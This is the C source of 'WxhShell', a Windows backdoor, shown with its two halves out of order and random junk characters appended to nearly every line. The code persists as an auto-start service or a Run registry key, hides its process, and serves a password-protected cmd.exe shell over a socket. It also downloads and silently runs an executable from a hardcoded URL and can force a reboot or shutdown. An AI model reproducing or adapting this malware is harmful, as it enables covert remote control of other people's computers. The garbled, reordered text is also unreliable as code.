    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^RJ @9`P&t  
    else { $4mCtonP=  
    closesocket(wsh); Z3yy(D>*  
    ExitThread(0); NLra"Z  
    } P!"{-m'  
    break; xL*J9&~iG  
    } {P_i5V?  
  // 获取shell ufe |I  
  case 's': { k'_f?_PBu  
    CmdShell(wsh); EDz;6Z*4N  
    closesocket(wsh); nU' qE  
    ExitThread(0); D>8p: ^3g  
    break; Rc:}%a%e  
  } D w/vXyZ  
  // 退出 ?=LT ^Zp`  
  case 'x': { 5S8>y7knQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +;\w'dBi,  
    CloseIt(wsh); Q5}XD  
    break; a{ L&RRJ  
    } PZQAlO,  
  // 离开 /* qx5$~  
  case 'q': { X 0iy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _|4R^*/ 4  
    closesocket(wsh); B~^*@5#0|  
    WSACleanup(); 0 @!huk  
    exit(1); Ge/K.]>i  
    break; ilde<!?  
        } O PzudO  
  } mI5J] hk  
  } Z1jxu;O(  
ii_kgqT^  
  // 提示信息 ?QmtZG.$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (c)=Do=  
} AmHj\NX$  
  } NTD1QJ  
nShXY6bA  
  return; A yr ,  
} p5$}h,7  
I5q $QQK  
// shell模块句柄 L {P'mG=4  
int CmdShell(SOCKET sock) mW4Cc1*  
{ JH{/0x#+  
STARTUPINFO si; _]33Ht9  
ZeroMemory(&si,sizeof(si)); xh bN=L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o5p{ O>D[z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u 3#+fn_  
PROCESS_INFORMATION ProcessInfo; ]:#=[ CH  
char cmdline[]="cmd"; ,{!,%]bC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (_|*&au J  
  return 0; g=[OH  
} o S=!6h  
< #ON  
// 自身启动模式 iAZ8Y/  
int StartFromService(void) Dc@O Mr  
{ {Y@shf;  
typedef struct L~- /'+  
{ jQ;/=9  
  DWORD ExitStatus; 7bk77`qWr  
  DWORD PebBaseAddress; ':fp|m)M  
  DWORD AffinityMask; #<< el;n  
  DWORD BasePriority; I)V=$r{  
  ULONG UniqueProcessId; iq*im$9 J  
  ULONG InheritedFromUniqueProcessId;  s[{[pIH  
}   PROCESS_BASIC_INFORMATION; ?/OF=C#  
CdF;0A9.3  
PROCNTQSIP NtQueryInformationProcess; o3dqsQE%  
!h4T3sO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LWv<mtuYf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TG}owG]]  
#0r~/gW  
  HANDLE             hProcess; ?)|}gr  
  PROCESS_BASIC_INFORMATION pbi; {6H[[7i  
3T8d?%.l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *sOb I(&  
  if(NULL == hInst ) return 0; ySr,HXz  
(O{OQk;CF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vSR&>Q%X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H P.=6bJWi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?OFa Q  
c'i5,\ #X  
  if (!NtQueryInformationProcess) return 0; RFL * qd4  
4HGT gS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UsyNn39  
  if(!hProcess) return 0; 9$\s v5  
-*' ?D@l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P)`^rJ6  
~D9Cu>d9  
  CloseHandle(hProcess); U0_)J1Yp  
3W7^,ir  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (U.Go/A#wE  
if(hProcess==NULL) return 0; KAClV%jP  
FE\E%_K'n7  
HMODULE hMod; ^wolY0p  
char procName[255]; -5b|nQuY  
unsigned long cbNeeded; @}H u)HO  
)k=KLQ\b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); btuG%D{a^  
8TFQ%jv  
  CloseHandle(hProcess); )$:1e)d  
Qb^G1#r@C  
if(strstr(procName,"services")) return 1; // 以服务启动 Rlewp8?LB  
5`.CzQVb  
  return 0; // 注册表启动 G1z*e.+y  
} @3?>[R  
'Tm1Mh0Fso  
// 主模块 O6hzOyNX@  
int StartWxhshell(LPSTR lpCmdLine) J#..xJ?XRD  
{ P+j=]Yg  
  SOCKET wsl; '(5GR I<  
BOOL val=TRUE; KQPu9f9  
  int port=0; -'$ob~*  
  struct sockaddr_in door; #-;c!<2  
|Mq+QDTTw~  
  if(wscfg.ws_autoins) Install(); G]=z ![$  
Cq2Wpu-u  
port=atoi(lpCmdLine); mU #F>  
Q~(Gll;  
if(port<=0) port=wscfg.ws_port; wmr?ANk  
ln82pQD2Y~  
  WSADATA data; Q~ U\f$N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a!$kKOK  
V.*TOU{{xh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0VNLhM(LM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P1mg;!tq  
  door.sin_family = AF_INET; >_?i)%+)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q}P@}TE  
  door.sin_port = htons(port); @)U.Dbm  
?#K.D vGJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [KK |_  
closesocket(wsl); RM|J |R  
return 1; ^ j\LB23  
} ^>IP"kF  
8S1@,O,  
  if(listen(wsl,2) == INVALID_SOCKET) { XZ%,h  
closesocket(wsl); x0<;Rm [u=  
return 1; XG/xMz~  
} _@ao$)q{J  
  Wxhshell(wsl); .C^P6S2oJ  
  WSACleanup(); qi,) l*?f  
~tp]a]yV  
return 0; fB$a )~  
rt+4-WuK>  
} |o5eG><  
8 Rj5~+5  
// 以NT服务方式启动 bB_LL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ws0qwv#  
{ RCR= W6  
DWORD   status = 0; O*:87:I d  
  DWORD   specificError = 0xfffffff; B"GC|}N )v  
Av.tr&ZNb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *$eH3nn6g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dtR"5TL<~}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CQWXLQED>  
  serviceStatus.dwWin32ExitCode     = 0; xk,Uf,,>  
  serviceStatus.dwServiceSpecificExitCode = 0; ZsP^<  
  serviceStatus.dwCheckPoint       = 0; ]F y' M  
  serviceStatus.dwWaitHint       = 0; xvTtA61Vp  
v?`R8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !PA:#]J  
  if (hServiceStatusHandle==0) return; gnp.!-  
=!\Nh,\eQ  
status = GetLastError(); +fVvH  
  if (status!=NO_ERROR) )  ;0  
{ ,XT,t[w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^)dsi  
    serviceStatus.dwCheckPoint       = 0;  ew1L+  
    serviceStatus.dwWaitHint       = 0; 5eTA]  
    serviceStatus.dwWin32ExitCode     = status; hV7EjQp  
    serviceStatus.dwServiceSpecificExitCode = specificError; s 4`-mIa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WESD^FK  
    return; ~}_^$l8#-Q  
  } >e Gg 1  
1mmL`M1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zb0NqIN:  
  serviceStatus.dwCheckPoint       = 0; r)t[QoD1  
  serviceStatus.dwWaitHint       = 0; nd' D0<%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z[@ i/. I  
} oKn$g[,SJh  
+p\E%<uQ  
// 处理NT服务事件,比如:启动、停止 J*zzjtY( 1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s-CAo~,  
{ [E9iuym  
switch(fdwControl) JO|j?%6YY  
{ tiZ H;t';<  
case SERVICE_CONTROL_STOP: `:C1Wo^<  
  serviceStatus.dwWin32ExitCode = 0; {-5)nS^_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :BxO6@>Xc  
  serviceStatus.dwCheckPoint   = 0; uc,>VzdB  
  serviceStatus.dwWaitHint     = 0; Q6(~VvC-  
  { &E`Nu (e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y][12{I{  
  } n{QyqI  
  return; gvc@q`_]  
case SERVICE_CONTROL_PAUSE: NO*, }aeG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :%gc Sm  
  break; T, #-: }  
case SERVICE_CONTROL_CONTINUE: q[Ai^79  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :-x?g2MY  
  break; NCk-[I?R  
case SERVICE_CONTROL_INTERROGATE: Ft>B% -;  
  break; Be{@ L  
}; U.TZd"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g V]4R"/  
} %E%=Za  
R,T0!f  
// 标准应用程序主函数 0Jv6?7]LKa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~|KqG  
{ X0j\nXk  
qK'mF#n0#  
// 获取操作系统版本 UA.Tp[u  
OsIsNt=GetOsVer(); _&= `vv'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yD<#Q\,  
1XN%&VR>^D  
  // 从命令行安装 >.SO2w  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,i*rHMe  
cEHpa%_5  
  // 下载执行文件 wQ(DX!   
if(wscfg.ws_downexe) { }6l:'nW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HP*)^`6X  
  WinExec(wscfg.ws_filenam,SW_HIDE); \B')2phE  
} ?Z|y-4 &>  
pKLcg"{[F  
if(!OsIsNt) { *c#DB{N  
// 如果时win9x,隐藏进程并且设置为注册表启动 b#7nt ?`7p  
HideProc(); 6ud?US(  
StartWxhshell(lpCmdLine); moM'RO,M  
} I 6WHC*  
else . x$V~t  
  if(StartFromService()) !wAnsK  
  // 以服务方式启动 yMW3mx301j  
  StartServiceCtrlDispatcher(DispatchTable); 0084`&Ki  
else 86%k2~L  
  // 普通方式启动 -AnJLFY  
  StartWxhshell(lpCmdLine); j&DlI_  
~/4j&IG  
return 0; u9;3Xn8  
} jGLmgJG-P  
a3A-N] ;f  
i.9}bw 9u@  
#p"F$@N   
=========================================== T>| +cg  
oItC;T  
[GyPwb-  
+4t \j<T  
LZ#A`&qUd  
uYTyR;a  
" Y+S<?8pA  
}f> 81[^  
#include <stdio.h> mC ]Krnx  
#include <string.h> _u-tRHh|A  
#include <windows.h> 6jr}l  
#include <winsock2.h> QdZHIgh`i  
#include <winsvc.h> lS;S:- -F  
#include <urlmon.h> \(Dm\7Q.  
3Mh_ &%!O  
#pragma comment (lib, "Ws2_32.lib") +SV!QMIg  
#pragma comment (lib, "urlmon.lib") &hpznIN  
s/?(G L+Ae  
#define MAX_USER   100 // 最大客户端连接数 0Q%I[f8  
#define BUF_SOCK   200 // sock buffer ,vi6<C\  
#define KEY_BUFF   255 // 输入 buffer cL %eP.  
} 2y"F@{T  
#define REBOOT     0   // 重启 };(2 na  
#define SHUTDOWN   1   // 关机 5;{*mJ:F  
$v{s b,  
#define DEF_PORT   5000 // 监听端口 Wbmqf s  
w2"]%WS%  
#define REG_LEN     16   // 注册表键长度 k:s86q  
#define SVC_LEN     80   // NT服务名长度 H_JT"~_2  
@ceL9#:uc  
// 从dll定义API blV'-Al  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ({rescQB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {flxZ}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IOUzj{G#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wu0J XB%&^  
;hDIoSz  
// wxhshell配置信息 BGB.SN#q+  
struct WSCFG { )Z?\9'6e4  
  int ws_port;         // 监听端口 6l?KX  
  char ws_passstr[REG_LEN]; // 口令 Izfj 9h ?  
  int ws_autoins;       // 安装标记, 1=yes 0=no Lp||C@h~  
  char ws_regname[REG_LEN]; // 注册表键名 ctC! b{S"@  
  char ws_svcname[REG_LEN]; // 服务名 . =A|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j|% C?N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .9bP8u2B{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j"+R*H(#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Xo4K!U>TzZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QEL3b4Vm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +QrbW  
.=b)Ae c  
}; LTY(6we-  
T8QRO%t  
// default Wxhshell configuration iGeuO[ ^  
struct WSCFG wscfg={DEF_PORT, zI>,A|yy  
    "xuhuanlingzhe", i*vf(0G  
    1, [=xO>  
    "Wxhshell", _1Iw"K49Qx  
    "Wxhshell", 'v3> "b  
            "WxhShell Service", /?8rj3  
    "Wrsky Windows CmdShell Service", ~_L_un.R  
    "Please Input Your Password: ",  F_%&,"$  
  1, :] +D+[c)  
  "http://www.wrsky.com/wxhshell.exe", D(S^g+rd  
  "Wxhshell.exe"  Et0;1  
    }; ;lo!o9`<  
sz b],)|18  
// 消息定义模块 ;i&'va$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hI 1 }^;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xBcE>^{1.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O7RW*V:G@  
char *msg_ws_ext="\n\rExit."; cz9T,  
char *msg_ws_end="\n\rQuit."; M>g\Y  
char *msg_ws_boot="\n\rReboot..."; wN!5[N"  
char *msg_ws_poff="\n\rShutdown..."; 6ax|EMw  
char *msg_ws_down="\n\rSave to "; /v:+ vh*mS  
d1>Nn!m  
char *msg_ws_err="\n\rErr!"; MY}B)`yx=  
char *msg_ws_ok="\n\rOK!"; 5Y97?n+6  
D@>^_cTO24  
char ExeFile[MAX_PATH]; .qBf`T;  
int nUser = 0; ) >SU J^u  
HANDLE handles[MAX_USER]; oos7x6  
int OsIsNt; Fn!kest  
tcf>9YsOr  
SERVICE_STATUS       serviceStatus; ] T! >]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _6 |lw&o07  
<J QvuC  
// 函数声明 8FThu[  
int Install(void); anTS8b   
int Uninstall(void); =7mn= w?  
int DownloadFile(char *sURL, SOCKET wsh); 7,2bR  
int Boot(int flag); R"=pAO.4l  
void HideProc(void); !7lS=D(?  
int GetOsVer(void); .5zqpm  
int Wxhshell(SOCKET wsl); sc^TElic  
void TalkWithClient(void *cs); Q_F8u!qrZ  
int CmdShell(SOCKET sock); z\8Kz ]n~  
int StartFromService(void); n15F4DnP  
int StartWxhshell(LPSTR lpCmdLine); ZLJfSnB  
=5jX#Dc5.+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -Ug  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @4D$Xl  
G~I@'[ur  
// 数据结构和表定义 E8~Bp-G)  
SERVICE_TABLE_ENTRY DispatchTable[] = 4cni_m]  
{ ^{GnEqml&  
{wscfg.ws_svcname, NTServiceMain},  # xS8  
{NULL, NULL} V\"x#uB  
}; r-+.Ax4L"  
fKMbOqU_  
// 自我安装 DUxj^,mf,  
int Install(void) k!K}<sX2  
{ Wej8YF@  
  char svExeFile[MAX_PATH]; 2#:h.8  
  HKEY key; 61q:nWs  
  strcpy(svExeFile,ExeFile); D0D0=s  
d([NU;  
// 如果是win9x系统,修改注册表设为自启动 YAqv:  
if(!OsIsNt) { 7Xi)[M?)#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ms.1RCup  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wG4=[d  
  RegCloseKey(key); `Li3=!V[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c@%:aiEl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YT6<1-E#  
  RegCloseKey(key); pzP~,cdf  
  return 0; 0Kxc$c  
    } cWSiJr):r  
  } jiMI&cl  
} E4aCL#}D  
else { {1.t ZCMT  
6u`E{$  
// 如果是NT以上系统,安装为系统服务 wIIxs_2Q0c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ML!Z m[I9  
if (schSCManager!=0) w%&lCu@v  
{ z^to"j  
  SC_HANDLE schService = CreateService +(*S@V$c  
  ( Q=[A P+  
  schSCManager, &{?*aK&%3l  
  wscfg.ws_svcname, 4hep1Kz%  
  wscfg.ws_svcdisp, \-Mzs 0R  
  SERVICE_ALL_ACCESS, IP K.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1H{M0e  
  SERVICE_AUTO_START, <J4|FOz!=  
  SERVICE_ERROR_NORMAL, gf()NfUvRH  
  svExeFile, p9ligs7V'  
  NULL, $bRakF1'S  
  NULL, 5_@ u Be~  
  NULL, o;+$AU1f  
  NULL, M[N$N`9  
  NULL M}E0Msq_o  
  ); KiU/N$ E  
  if (schService!=0) *6 oQW  
  { !sA[A>  
  CloseServiceHandle(schService); PMzPe"3M  
  CloseServiceHandle(schSCManager); ,b2YUb]U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hce *G@b  
  strcat(svExeFile,wscfg.ws_svcname); <RfPd+</  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #'N"<o[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #%t&f"j2  
  RegCloseKey(key); IKx]?0sS  
  return 0; zWYm* c"n\  
    } j3`# v3  
  } !P X`sIkT  
  CloseServiceHandle(schSCManager); x#ub % t  
} E_-3G<rt  
} B2\R#&X.  
 B@Acm  
return 1; 1oq5|2p  
} R#OVJ(#  
}!=}g|z#|  
// 自我卸载 rxZ%vzVQ>  
int Uninstall(void) |F _ Z  
{ VPG+]> *  
  HKEY key; UruD&=AMK  
%$K2$dq5  
if(!OsIsNt) { }}Gz3>?24=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nA:\G":\y  
  RegDeleteValue(key,wscfg.ws_regname); >\=~2>FCD  
  RegCloseKey(key); K?[*9Q'\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w E^6DNh  
  RegDeleteValue(key,wscfg.ws_regname); d1YE$   
  RegCloseKey(key); +DMD g.  
  return 0; jb~2f2vUa  
  } h/u>F$}c  
} X2>qx^jT  
} gd~# uR\  
else { F/c7^  
,MkldCV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3KFw0(S/  
if (schSCManager!=0) . C_\xb  
{  g wM~W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?M'_L']N[  
  if (schService!=0) .I%p0ds1r  
  { T8|aFoHCK  
  if(DeleteService(schService)!=0) { "YLH]9"=  
  CloseServiceHandle(schService); WR'm<u  
  CloseServiceHandle(schSCManager); S}zh0`+d'Z  
  return 0; (x7AV$N  
  } _2*Ryz  
  CloseServiceHandle(schService); |~Q`D dkX  
  } b"x[+&%i  
  CloseServiceHandle(schSCManager); TE+d?  
} 4Y>v+N^  
} 6n9;t\'Gt  
K}^Jf ;  
return 1; \@]/ks=K  
}  q0Rd^c  
BzFD_A>j;_  
// 从指定url下载文件 f@@2@# 5B  
int DownloadFile(char *sURL, SOCKET wsh) yxfV|ox  
{ n7UZ&ab  
  HRESULT hr; =Rnx!E  
char seps[]= "/"; xgl~4  
char *token; 2?; =TJo$  
char *file; @)0-oa,u+  
char myURL[MAX_PATH]; `V N $ S  
char myFILE[MAX_PATH]; ZSL:q%:.  
J)6A,:wt  
strcpy(myURL,sURL); QW ~-+BD  
  token=strtok(myURL,seps); \VW&z:/*pZ  
  while(token!=NULL) }Ip"j]h  
  { I W_:nm6  
    file=token; \L14rQ t  
  token=strtok(NULL,seps); )IIQ{SwQq  
  }  (`0dO8  
# L\t)W  
GetCurrentDirectory(MAX_PATH,myFILE); d\nBc6  
strcat(myFILE, "\\"); N7lWeF  
strcat(myFILE, file); F">>,Oc)U"  
  send(wsh,myFILE,strlen(myFILE),0); !oXA^7Th6]  
send(wsh,"...",3,0); bI^zwK,@4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5u ED  
  if(hr==S_OK) ag6hhkj A  
return 0; M,Y lhL  
else U].u) g$  
return 1; "Fv6u]Rv  
T7W*S-IW  
} ns.[PJ"8  
Uk5O9D0 He  
// 系统电源模块  YM9oVF-  
int Boot(int flag) )2Gp3oD?  
{ *qcL(] Yq  
  HANDLE hToken; C7=Q!UK`\  
  TOKEN_PRIVILEGES tkp; + ~ro*{3  
f[)_=T+  
  if(OsIsNt) { ^ K8JE,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cK.T=7T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UXB[3SP  
    tkp.PrivilegeCount = 1; qlUYu"`i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5G8`zy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LkFXUt?  
if(flag==REBOOT) { fTi,S)F'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \~xOdqF/  
  return 0; t`{^gt  
} F<q3{}1zR  
else { fM]McZ9)D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }I7/FqrD  
  return 0; ?MhRdY  
} ;_0)f  
  } )@Yp;=l  
  else { |dNtM^  
if(flag==REBOOT) { d"78w-S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :=04_5 z  
  return 0; *?oQ6g(Nz  
} 96F:%|yG  
else { zTY|Z@:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [Dq7mqr$  
  return 0; G#'3bxI{f+  
} (H9%a-3  
} ^ j@Q2>&?  
> 3 JU  
return 1; =!xeki]|9  
} c>K/f7  
qce#  
// win9x进程隐藏模块 fD q, )~D  
void HideProc(void) xy$FS0u  
{ c%)uG _  
]^gD@].  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f7X#cs)a  
  if ( hKernel != NULL ) k`js~/Xv  
  { `. %;|"xR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NpD}7t<EF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nx=#QLi  
    FreeLibrary(hKernel); U=XaI%ZM)  
  } !gy'_Y  
(W+9 u0Zq  
return; +,>f-kaV  
} UF<|1;'  
o;Zoj}  
// 获取操作系统版本 ~N[hY1}X[  
int GetOsVer(void) ~B(]0:  
{ 6Epns s  
  OSVERSIONINFO winfo; QY+#Vp<`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hh;w\)/%j  
  GetVersionEx(&winfo); z9HQFRbo[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5F2+o#*h  
  return 1; O%o#CBf0  
  else uc Z(D|a   
  return 0; ZX-9BJ`Q  
} )[oU|!@  
8fM}UZI  
// 客户端句柄模块 6xL=JSi~  
int Wxhshell(SOCKET wsl) 'VJMi5Y(-  
{ g#[9O'H  
  SOCKET wsh; -(cm  
  struct sockaddr_in client; --.j&w  
  DWORD myID; X""'}X|O  
Sa,N1r  
  while(nUser<MAX_USER) sxThz7#i)  
{ }#'KME4  
  int nSize=sizeof(client); `zzX2R Je  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MCh8Q|Yx4  
  if(wsh==INVALID_SOCKET) return 1; ,xD{A}}V  
!-.-!hBN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qh7o;x~,  
if(handles[nUser]==0) hsqUiB tc6  
  closesocket(wsh); j%p~.kW5  
else J$e.$ah;  
  nUser++; W77JXD93  
  } rB4#}+Uq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z;>~<#!4  
keJec`q=X  
  return 0; }2NH>qvY  
} *0c }`|  
NPoXz  
// 关闭 socket /t>o -  
void CloseIt(SOCKET wsh) BB%(!O4Dl  
{ (VOKa  
closesocket(wsh); +XpRkX&-  
nUser--; chd${ j  
ExitThread(0); 4|2$b:t  
} 3LXpe8$lJ  
o[v`Am?v  
// 客户端请求句柄 &\"fH+S  
void TalkWithClient(void *cs) g$ 2M|Q  
{ hf?^#=k^  
%ly;2H Ik  
  SOCKET wsh=(SOCKET)cs; 3P6'*pZ  
  char pwd[SVC_LEN]; ,B#Y9[R  
  char cmd[KEY_BUFF]; @wFm])}0  
char chr[1]; J,D{dYLDD  
int i,j; 9~; Ju^b  
_yoG<qI  
  while (nUser < MAX_USER) { eAuJ}U[  
GDcV1$NA  
if(wscfg.ws_passstr) { 6AwnmGL(;;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dq?2mXOqD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7S1!|*/ I  
  //ZeroMemory(pwd,KEY_BUFF); yBe/UFp+  
      i=0; 5o3_x ~e  
  while(i<SVC_LEN) { d#d~t[=  
E1C8yIF  
  // 设置超时 sY6'y'a95  
  fd_set FdRead; IRU2/Ycg  
  struct timeval TimeOut; |M?HdxPa  
  FD_ZERO(&FdRead); AO]lXa  
  FD_SET(wsh,&FdRead); X3-1)|g !z  
  TimeOut.tv_sec=8; Kulg84<AwM  
  TimeOut.tv_usec=0; eLTNnz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7_3O]e[8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {Psj#.qP1  
`o3d@Vc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EK#m?O:>  
  pwd=chr[0]; :3t])mL#   
  if(chr[0]==0xd || chr[0]==0xa) { 2G-? P"4l@  
  pwd=0; TkBBHg;  
  break; [>:gwl _\  
  } ^~aSrREo  
  i++; H<xC%/8  
    } D1n2Z :9  
0?7uqS#L  
  // 如果是非法用户,关闭 socket d0=nAZZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5oKc=iX_3  
} Za6oYM_z  
d<Os TA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,$]q2aL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |gVO Iq  
vck$@3*  
while(1) { 2T5xSpC  
$"8k|^Z3  
  ZeroMemory(cmd,KEY_BUFF); 8Vn6* Xn  
vVW=1(QWI#  
      // 自动支持客户端 telnet标准   duS #&w  
  j=0; `Ek!;u>  
  while(j<KEY_BUFF) { c6HU'%v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y]l"u=$Tr{  
  cmd[j]=chr[0]; O0~d6Ba   
  if(chr[0]==0xa || chr[0]==0xd) { _}&]`,s>  
  cmd[j]=0; 3CE8+PnT  
  break; kpH;D=;  
  } $dP)8_Z2  
  j++; pPZ/O 6  
    } $3TTHS o  
vb- .^l  
  // 下载文件 h)rf6*hw  
  if(strstr(cmd,"http://")) { -W_s]oBg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ymZ/(:3_  
  if(DownloadFile(cmd,wsh)) tFaE cP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >bN~p  
  else *d@Hnu"q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zy[=OX+  
  } FIjET1{  
  else { LJwMM  
QYgN39gp  
    switch(cmd[0]) { 4w( vRe  
  $ rYS   
  // 帮助 ^\&g^T%  
